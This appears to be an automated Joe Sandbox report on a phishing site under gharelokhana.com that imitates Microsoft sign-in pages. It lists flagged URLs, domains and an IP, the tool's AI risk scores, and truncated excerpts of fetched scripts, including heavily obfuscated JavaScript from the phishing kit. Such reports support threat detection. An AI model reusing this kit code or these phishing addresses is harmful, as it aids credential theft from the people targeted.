https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_a7fa53f8687b4e38205f.js	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	0%	Avira URL Cloud	safe
https://fdgfhvcfdgfhhjh.gharelokhana.com/4ac65d3921a049f68027c1dc86c3c5b1/	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js	0%	Avira URL Cloud	safe
https://7eb5b5ab-4ac65d39.gharelokhana.com/shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js	0%	Avira URL Cloud	safe
https://fdgfhvcfdgfhhjh.gharelokhana.com/common/handlers/watson	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_v1eniakvll_1x20aakd_sg2.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fdgfhvcfdgfhhjh.gharelokhana.com	164.92.191.86	true	true	unknown
7eb5b5ab-4ac65d39.gharelokhana.com	164.92.191.86	true	true	unknown
www.google.com	142.250.181.36	true	false	high
5ba3c75c-4ac65d39.gharelokhana.com	164.92.191.86	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_a7fa53f8687b4e38205f.js	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	true	Avira URL Cloud: safe	unknown
https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	true		unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	true	Avira URL Cloud: safe	unknown
https://fdgfhvcfdgfhhjh.gharelokhana.com/4ac65d3921a049f68027c1dc86c3c5b1/	true	Avira URL Cloud: safe	unknown
https://7eb5b5ab-4ac65d39.gharelokhana.com/shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg	true	Avira URL Cloud: safe	unknown
https://fdgfhvcfdgfhhjh.gharelokhana.com/common/handlers/watson	true	Avira URL Cloud: safe	unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js	true	Avira URL Cloud: safe	unknown
http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	true		unknown
https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_v1eniakvll_1x20aakd_sg2.js	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.36	www.google.com	United States	15169	GOOGLEUS	false
164.92.191.86	fdgfhvcfdgfhhjh.gharelokhana.com	United States	46930	ASN-DPSDUS	true

Private

IP
192.168.2.8
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568447
Start date and time:	2024-12-04 16:14:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@17/40@16/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.78, 142.250.200.195, 64.233.164.84, 172.217.21.14, 172.217.17.46, 142.250.203.238, 192.229.221.95, 199.232.210.172, 216.58.211.202, 142.250.201.10, 142.250.200.234, 142.251.37.202, 216.58.198.74, 172.217.171.234, 142.250.201.42, 172.217.21.10, 142.251.37.42, 142.250.203.234, 142.251.37.170, 142.250.200.202, 172.217.18.42, 142.251.37.234, 142.251.37.35, 216.58.198.78
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

Input	Output
URL: http://fdgfhvcfdgfhhjh.gharelokhana.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: http://fdgfhvcfdgfhhjh.gharelokhana.com
URL: https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate Microsoft authentication module with error handling and consent management. The code contains standard string definitions and error messages for authentication flows. No high-risk behaviors like eval() or suspicious data transmission are present. The code follows standard module pattern practices." }
!function(e){function o(t){if(n[t])return n[t].exports;var i=n[t]={exports:{},id:t,loaded:!1};return e[t].call(i.exports,i,i.exports,o),i.loaded=!0,i.exports}var n={};return o.m=e,o.c=n,o.p="",o(0)}([function(e,o,n){n(2);var t=n(1),i=n(4),r=n(5),a=i.ErrorDesc,s=i.ErrorTitle,d={};d[a.TroubleSigningIn]="Sorry, but were having trouble signing you in.",d[a.TroubleSigningOut]="Sorry, but were having trouble signing you out.",d[a.UpdateExpiredPwd_Err_OnPremSuccessCloudFail]="Your password was successfully updated, but our servers take a little time to catch up. Please try signing in again in a few minutes.",d[a.UpdateExpiredPwd_Err_ChangePasswordOnPrem]="Your organization doesn't allow you to update your password on this site. Please update it according to the method recommended by your organization, or ask your admin if you need help.",d[a.UpdateExpiredPwd_Err_ADAdminActionRequired]="We tried to update your password, but there's a problem with how your account is configured. Please contact your admin and provide the detailed error information. Unfortunately you won't be able to sign in until they fix your account.",d[a.Err_UnableToDownloadResources]="The browser is having problems downloading resources from the CDN (Content Delivery Network). Please check with your organization's system administrators to ensure that they have not blocked the resource url endpoint and that the files exists and are accessible.",d[a.Err_Corrupted_JSRuntime]="WARNING: Your browser appears to be loading unexpected scripts which are keeping this page from working correctly. This situation can happen when browser plugins try to put advertisements on the page. Try removing or disabling your browser plugin. If that doesn't help, you may be able to avoid the problem by using in-private browsing instead.",d[a.XtapAcceptMfaSettingNotConfigured]="The organization you're trying to reach needs to update their settings to let you sign in.";var l={};l[s.SignIn]="Sign in",l[s.PleaseWait]="You're all setwe just need a moment",l[s.ServerError]="Something went wrong.",l[s.WeCannotSignYouIn]="Can't sign you in",t.registerSource("str",function(e,o){var n=o.iViewId===i.PaginatedState.AdminConsentCustomerSolutionProviderError;if(e.CT_STR_Consent_Error_Header=n?"Need pre-consent":"Need admin approval",e.CT_STR_Consent_Error_Description=n?"Pre-consent is required to obtain tokens for this resource.":"{0} needs permission to access resources in your organization that only an admin can grant. Please ask an admin to grant permission to this app before you can use it.",e.CT_STR_Consent_Error_SignInAsAdmin="Have an admin account? Sign in with that account",e.CT_STR_Consent_Error_GoToCspDoc="Learn how delegated admin partners can authorize applications in customer tenants",e.CT_STR_Consent_Error_ReturnToApplication=n?"Return to the application":"Return to the application without granting consent",e.CT_STR_Consent_Error_SignInWithAnotherAccount="Sign in with another account",e.CT_STR_Consent_Error_ApprovalRequired_Header="Approval required",e.CT_STR_Consent_Error_ApprovalRequired_Description="This app requires your admin's approval to:",e.CT_STR_Consent_Error_RequestApproval_Button="Request approval",e.CT_STR_Consent_Error_Cancel_Button="Cancel",e.CT_STR_Consent_Error_RequestSent_Header=o.fIsNewAccessRequest?"Request sent":"Request pending",e.STR_Consent_CompanyName="This is a permission requested to access your data in {0}.",e.STR_Consent_PublishedByUnverified="unverified",e.STR_Consent_ApprovalJustification_Label="Enter justification for requesting this app",e.STR_Consent_ApprovalDesc_AriaLabel="Admin approval is required to access {0}. To request approval, please enter why you want this app.",e.STR_Consent_ReportSuspiciousApp_Title="Report suspicious app",e.STR_Consent_ReportSuspiciousApp_Warning="By reporting this app to Microsoft, this consent request will be terminated and no data will be shared with the developer.",e.STR_Consent_RSAOption_DontTrustTheApp="I don't trust this a
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This code exhibits multiple high-risk indicators: heavy obfuscation through numeric encoding and complex function nesting, use of array manipulation that could be hiding malicious payload, and suspicious variable naming patterns (e.g., a0r5). The code also contains multiple try-catch blocks and dynamic function construction patterns that could be used for evasion or malicious code execution." }
function a0r5(r,u){var x=a0r4();return a0r5=function(A,I){A=A-0x19c;var n=x[A];return n;},a0r5(r,u);}(function(r,u){var AC=a0r5,x=r();while(!![]){try{var A=parseInt(AC(0x4e5))/0x1+parseInt(AC(0x396))/0x2+parseInt(AC(0x5a1))/0x3+parseInt(AC(0x458))/0x4(parseInt(AC(0x2a8))/0x5)+parseInt(AC(0x5a2))/0x6+parseInt(AC(0x390))/0x7+parseInt(AC(0x2cc))/0x8(-parseInt(AC(0x5ec))/0x9);if(A===u)break;else x['push'](x['shift']());}catch(I){x['push'](x['shift']());}}}(a0r4,0x9c68f),!(function(){var q5=a0r5,r0=(function(){var Aa=a0r5;if(Aa(0x3fa)!==Aa(0x4b1)){var xq=!![];return function(xo,xh){var xi=xq?function(){var AW=a0r5;if(xh){var xJ=xh[AW(0x4eb)](xo,arguments);return xh=null,xJ;}}:function(){};return xq=![],xi;};}else rG(rL,rf,function(){var Ap=Aa,xh=rD[Ap(0x552)];rc?rU[Ap(0x55f)](Ap(0x5d8),xh):ri(Ap(0x22d),xh,rJ['value']);});}()),r2=(function(){var xq=!![];return function(xo,xh){var At=a0r5;if(At(0x1c9)!==At(0x1a2)){var xi=xq?function(){var Av=At;if(Av(0x5f3)!==Av(0x28f)){if(xh){if(Av(0x4d1)!=='tPbXg'){var xZ=r5(0x1),xK=rh(0x14aa),xz=ro(0x16cb)['f'],xg=xZ(Av(0x1f6)),xb=rG[Av(0x21d)];void 0x0===xb[xg]&&xz(xb,xg,{'configurable':!0x0,'value':xK(null)}),rL[Av(0x40a)]=function(xX){xb[xg][xX]=!0x0;};}else{var xJ=xh[Av(0x4eb)](xo,arguments);return xh=null,xJ;}}}else{var xK=xz(this),xz=xK['target'],xg=xK[Av(0x312)]++;if(!xz\|\|xg>=xz[Av(0x56f)])return xK[Av(0x3f9)]=void 0x0,rh(void 0x0,!0x0);switch(xK[Av(0x51d)]){case Av(0x32c):return rf(xg,!0x1);case Av(0x299):return r8(xz[xg],!0x1);}return rL([xg,xz[xg]],!0x1);}}:function(){};return xq=![],xi;}else{var xS=rD[rc];if(!(xS===rU&&xZ()\|\|At(0x430)===xS&&(xK()\|\|rV()))){var xZ=r6['getExtension'](xS);if(xZ)for(var xK=0x0,xz=xz(xZ);xK<xz['length'];xK++){var xg;re=xZ[xg=xz[xK]],rM[At(0x316)](''[At(0x308)](xg,'=')[At(0x308)](rk)[At(0x308)](rX[At(0x46d)](rz)?'='['concat'](ru[At(0x300)](rA)):''));}else rg[At(0x316)](xS);}}};}());'use strict';var r4={0x1fb8:function(xq,xo,xh){var xi=xh(0x5cb),xJ=xh(0x2239),xS=TypeError;xq['exports']=function(xZ){var AE=a0r5;if(xi(xZ))return xZ;throw new xS(xJ(xZ)+AE(0x296));};},0x946:function(xq,xo,xh){var Ae=a0r5;if(Ae(0x22f)!==Ae(0x2a4)){var xi=xh(0x3af),xJ=xh(0x2239),xS=TypeError;xq['exports']=function(xZ){var Aw=Ae;if(xi(xZ))return xZ;throw new xS(xJ(xZ)+Aw(0x5ba));};}else{var xK=xo(0xbbd),xz=rh(0x1875),xg=ro(0xcf0),xb=rG;rL[Ae(0x40a)]=function(xX){var Al=Ae,xM=xz(xg(this)),xB='',xH=xK(xX);if(xH<0x0\|\|xH===0x1/0x0)throw new xb(Al(0x54b));for(;xH>0x0;(xH>>>=0x1)&&(xM+=xM))0x1&xH&&(xB+=xM);return xB;};}},0xf0c:function(xq,xo,xh){var Ad=a0r5,xi=xh(0x2df),xJ=String,xS=TypeError;xq[Ad(0x40a)]=function(xZ){var AD=Ad;if(xi(xZ))return xZ;throw new xS(AD(0x285)+xJ(xZ)+AD(0x3ef));};},0x1bb7:function(xq,xo,xh){var AF=a0r5;if(AF(0x265)==='LxJJU'){var xi=xh(0x1),xJ=xh(0x14aa),xS=xh(0x16cb)['f'],xZ=xi(AF(0x1f6)),xK=Array[AF(0x21d)];void 0x0===xK[xZ]&&xS(xK,xZ,{'configurable':!0x0,'value':xJ(null)}),xq[AF(0x40a)]=function(xz){xK[xZ][xz]=!0x0;};}else return xo instanceof rh?function(xg){var AP=AF,xb;return rf({'name':xg[AP(0x591)],'message':xg['message'],'stack':null===(xb=xg[AP(0x5cc)])\|\|void 0x0===xb?void 0x0:xb[AP(0x56d)]('\x0a')},xg);}(rG):rL;},0x1143:function(xq,xo,xh){var AG=a0r5,xi=xh(0x2391)[AG(0x289)];xq['exports']=function(xJ,xS,xZ){var AV=AG;return xS+(xZ?xi(xJ,xS)[AV(0x56f)]:0x1);};},0x1785:function(xq,xo,xh){var AO=a0r5,xi=xh(0x12cf),xJ=TypeError;xq[AO(0x40a)]=function(xS,xZ){var AT=AO;if(xi(xZ,xS))return xS;throw new xJ(AT(0x5eb));};},0x8f5:function(xq,xo,xh){var AR=a0r5;if('srGbw'===AR(0x200))return function(){var AU=AR;return rH[AU(0x4eb)](xo,arguments);};else{var xi=xh(0x6a8),xJ=String,xS=TypeError;xq[AR(0x40a)]=function(xK){var Ak=AR;if(xi(xK))return xK;throw new xS(xJ(xK)+Ak(0x5d2));};}},0x17fe:function(xq,xo,xh){var AL=a0r5,xi=xh(0xb62),xJ=xh(0x70f),xS=xh(0x92b),xZ=xh(0x22c5),xK=xh(0x14b3),xz=xh(0x3af),xg=xh(0x1b30),xb=xh(0x29e),xX=xh(0x1317),xM=xh(0x1a09),xB=Array;xq[AL(0x40a)]=function(xH){var Ac=AL;if(Ac(0x276)!==Ac(0x276))rH[Ac(0x4a7)]\|\|xC(),xE['add'](xv);else{v
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be minified utility code implementing Promise and Iterator functionality. While minified code can be suspicious, this implementation matches standard JavaScript patterns for async operations and prototypal inheritance. No high-risk behaviors like eval(), external data transmission, or suspicious DOM manipulation are present." }
!function(){"use strict";var t=function(r,e){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,r){t.__proto__=r}\|\|function(t,r){for(var e in r)Object.prototype.hasOwnProperty.call(r,e)&&(t[e]=r[e])},t(r,e)};function r(r,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=r}t(r,e),r.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function e(t,r,e,n){return new(e\|\|(e=Promise))((function(o,i){function u(t){try{s(n.next(t))}catch(t){i(t)}}function c(t){try{s(n.throw(t))}catch(t){i(t)}}function s(t){var r;t.done?o(t.value):(r=t.value,r instanceof e?r:new e((function(t){t(r)}))).then(u,c)}s((n=n.apply(t,r\|\|[])).next())}))}function n(t,r){var e,n,o,i,u={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function c(c){return function(s){return function(c){if(e)throw new TypeError("Generator is already executing.");for(;i&&(i=0,c[0]&&(u=0)),u;)try{if(e=1,n&&(o=2&c[0]?n.return:c[0]?n.throw\|\|((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,c[1])).done)return o;switch(n=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return u.label++,{value:c[1],done:!1};case 5:u.label++,n=c[1],c=[0];continue;case 7:c=u.ops.pop(),u.trys.pop();continue;default:if(!(o=u.trys,(o=o.length>0&&o[o.length-1])\|\|6!==c[0]&&2!==c[0])){u=0;continue}if(3===c[0]&&(!o\|\|c[1]>o[0]&&c[1]<o[3])){u.label=c[1];break}if(6===c[0]&&u.label<o[1]){u.label=o[1],o=c;break}if(o&&u.label<o[2]){u.label=o[2],u.ops.push(c);break}o[2]&&u.ops.pop(),u.trys.pop();continue}c=r.call(t,u)}catch(t){c=[6,t],n=0}finally{e=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([c,s])}}}Object.create;function o(t){var r="function"==typeof Symbol&&Symbol.iterator,e=r&&t[r],n=0;if(e)return e.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&n>=t.length&&(t=void 0),{value:t&&t[n++],done:!t}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")}function i(t,r){var e="function"==typeof Symbol&&t[Symbol.iterator];if(!e)return t;var n,o,i=e.call(t),u=[];try{for(;(void 0===r\|\|r-- >0)&&!(n=i.next()).done;)u.push(n.value)}catch(t){o={error:t}}finally{try{n&&!n.done&&(e=i.return)&&e.call(i)}finally{if(o)throw o.error}}return u}function u(t,r,e){if(e\|\|2===arguments.length)for(var n,o=0,i=r.length;o<i;o++)!n&&o in r\|\|(n\|\|(n=Array.prototype.slice.call(r,0,o)),n[o]=r[o]);return t.concat(n\|\|Array.prototype.slice.call(r))}function c(t){return this instanceof c?(this.v=t,this):new c(t)}function s(t,r,e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var n,o=e.apply(t,r\|\|[]),i=[];return n={},u("next"),u("throw"),u("return",(function(t){return function(r){return Promise.resolve(r).then(t,l)}})),n[Symbol.asyncIterator]=function(){return this},n;function u(t,r){o[t]&&(n[t]=function(r){return new Promise((function(e,n){i.push([t,r,e,n])>1\|\|s(t,r)}))},r&&(n[t]=r(n[t])))}function s(t,r){try{(e=o[t](r)).value instanceof c?Promise.resolve(e.value.v).then(a,l):f(i[0][2],e)}catch(t){f(i[0][3],t)}var e}function a(t){s("next",t)}function l(t){s("throw",t)}function f(t,r){t(r),i.shift(),i.length&&s(i[0][0],i[0][1])}}function a(t){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,e=t[Symbol.asyncIterator];return e?e.call(t):(t=o(t),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(e){r[e]=t[e]&&function(r){return new Promise((function(n,o){(function(t,r,e,n){Promise.resolve(n).then((function(r){t({value:r,done:e})}),r)})(n,o,(r=t[e](r)).done,r.value)}))}}}Object.create;"function"==typeof SuppressedError&&SuppressedError;function l(t){return"function"==typeof t}var f,h=((f=function(t){return function(r){t(this),this.message=r?r.length+" errors oc
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High-risk code showing multiple concerning behaviors: heavy obfuscation through numeric encoding and function name mangling, use of dynamic function construction patterns, and complex control flow obfuscation. The code appears intentionally obscured to hide its true purpose, which is a common malware technique." }
function a0r5(r,u){var x=a0r4();return a0r5=function(A,I){A=A-0x19c;var n=x[A];return n;},a0r5(r,u);}(function(r,u){var AC=a0r5,x=r();while(!![]){try{var A=parseInt(AC(0x4e5))/0x1+parseInt(AC(0x396))/0x2+parseInt(AC(0x5a1))/0x3+parseInt(AC(0x458))/0x4(parseInt(AC(0x2a8))/0x5)+parseInt(AC(0x5a2))/0x6+parseInt(AC(0x390))/0x7+parseInt(AC(0x2cc))/0x8(-parseInt(AC(0x5ec))/0x9);if(A===u)break;else x['push'](x['shift']());}catch(I){x['push'](x['shift']());}}}(a0r4,0x9c68f),!(function(){var q5=a0r5,r0=(function(){var Aa=a0r5;if(Aa(0x3fa)!==Aa(0x4b1)){var xq=!![];return function(xo,xh){var xi=xq?function(){var AW=a0r5;if(xh){var xJ=xh[AW(0x4eb)](xo,arguments);return xh=null,xJ;}}:function(){};return xq=![],xi;};}else rG(rL,rf,function(){var Ap=Aa,xh=rD[Ap(0x552)];rc?rU[Ap(0x55f)](Ap(0x5d8),xh):ri(Ap(0x22d),xh,rJ['value']);});}()),r2=(function(){var xq=!![];return function(xo,xh){var At=a0r5;if(At(0x1c9)!==At(0x1a2)){var xi=xq?function(){var Av=At;if(Av(0x5f3)!==Av(0x28f)){if(xh){if(Av(0x4d1)!=='tPbXg'){var xZ=r5(0x1),xK=rh(0x14aa),xz=ro(0x16cb)['f'],xg=xZ(Av(0x1f6)),xb=rG[Av(0x21d)];void 0x0===xb[xg]&&xz(xb,xg,{'configurable':!0x0,'value':xK(null)}),rL[Av(0x40a)]=function(xX){xb[xg][xX]=!0x0;};}else{var xJ=xh[Av(0x4eb)](xo,arguments);return xh=null,xJ;}}}else{var xK=xz(this),xz=xK['target'],xg=xK[Av(0x312)]++;if(!xz\|\|xg>=xz[Av(0x56f)])return xK[Av(0x3f9)]=void 0x0,rh(void 0x0,!0x0);switch(xK[Av(0x51d)]){case Av(0x32c):return rf(xg,!0x1);case Av(0x299):return r8(xz[xg],!0x1);}return rL([xg,xz[xg]],!0x1);}}:function(){};return xq=![],xi;}else{var xS=rD[rc];if(!(xS===rU&&xZ()\|\|At(0x430)===xS&&(xK()\|\|rV()))){var xZ=r6['getExtension'](xS);if(xZ)for(var xK=0x0,xz=xz(xZ);xK<xz['length'];xK++){var xg;re=xZ[xg=xz[xK]],rM[At(0x316)](''[At(0x308)](xg,'=')[At(0x308)](rk)[At(0x308)](rX[At(0x46d)](rz)?'='['concat'](ru[At(0x300)](rA)):''));}else rg[At(0x316)](xS);}}};}());'use strict';var r4={0x1fb8:function(xq,xo,xh){var xi=xh(0x5cb),xJ=xh(0x2239),xS=TypeError;xq['exports']=function(xZ){var AE=a0r5;if(xi(xZ))return xZ;throw new xS(xJ(xZ)+AE(0x296));};},0x946:function(xq,xo,xh){var Ae=a0r5;if(Ae(0x22f)!==Ae(0x2a4)){var xi=xh(0x3af),xJ=xh(0x2239),xS=TypeError;xq['exports']=function(xZ){var Aw=Ae;if(xi(xZ))return xZ;throw new xS(xJ(xZ)+Aw(0x5ba));};}else{var xK=xo(0xbbd),xz=rh(0x1875),xg=ro(0xcf0),xb=rG;rL[Ae(0x40a)]=function(xX){var Al=Ae,xM=xz(xg(this)),xB='',xH=xK(xX);if(xH<0x0\|\|xH===0x1/0x0)throw new xb(Al(0x54b));for(;xH>0x0;(xH>>>=0x1)&&(xM+=xM))0x1&xH&&(xB+=xM);return xB;};}},0xf0c:function(xq,xo,xh){var Ad=a0r5,xi=xh(0x2df),xJ=String,xS=TypeError;xq[Ad(0x40a)]=function(xZ){var AD=Ad;if(xi(xZ))return xZ;throw new xS(AD(0x285)+xJ(xZ)+AD(0x3ef));};},0x1bb7:function(xq,xo,xh){var AF=a0r5;if(AF(0x265)==='LxJJU'){var xi=xh(0x1),xJ=xh(0x14aa),xS=xh(0x16cb)['f'],xZ=xi(AF(0x1f6)),xK=Array[AF(0x21d)];void 0x0===xK[xZ]&&xS(xK,xZ,{'configurable':!0x0,'value':xJ(null)}),xq[AF(0x40a)]=function(xz){xK[xZ][xz]=!0x0;};}else return xo instanceof rh?function(xg){var AP=AF,xb;return rf({'name':xg[AP(0x591)],'message':xg['message'],'stack':null===(xb=xg[AP(0x5cc)])\|\|void 0x0===xb?void 0x0:xb[AP(0x56d)]('\x0a')},xg);}(rG):rL;},0x1143:function(xq,xo,xh){var AG=a0r5,xi=xh(0x2391)[AG(0x289)];xq['exports']=function(xJ,xS,xZ){var AV=AG;return xS+(xZ?xi(xJ,xS)[AV(0x56f)]:0x1);};},0x1785:function(xq,xo,xh){var AO=a0r5,xi=xh(0x12cf),xJ=TypeError;xq[AO(0x40a)]=function(xS,xZ){var AT=AO;if(xi(xZ,xS))return xS;throw new xJ(AT(0x5eb));};},0x8f5:function(xq,xo,xh){var AR=a0r5;if('srGbw'===AR(0x200))return function(){var AU=AR;return rH[AU(0x4eb)](xo,arguments);};else{var xi=xh(0x6a8),xJ=String,xS=TypeError;xq[AR(0x40a)]=function(xK){var Ak=AR;if(xi(xK))return xK;throw new xS(xJ(xK)+Ak(0x5d2));};}},0x17fe:function(xq,xo,xh){var AL=a0r5,xi=xh(0xb62),xJ=xh(0x70f),xS=xh(0x92b),xZ=xh(0x22c5),xK=xh(0x14b3),xz=xh(0x3a
URL: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate resource loader script, likely from Microsoft. It contains standard module loading patterns, error handling, and DOM manipulation for loading scripts/styles. While it uses some legacy practices and DOM manipulation, it shows no signs of malicious behavior. The code is minified but not maliciously obfuscated." }
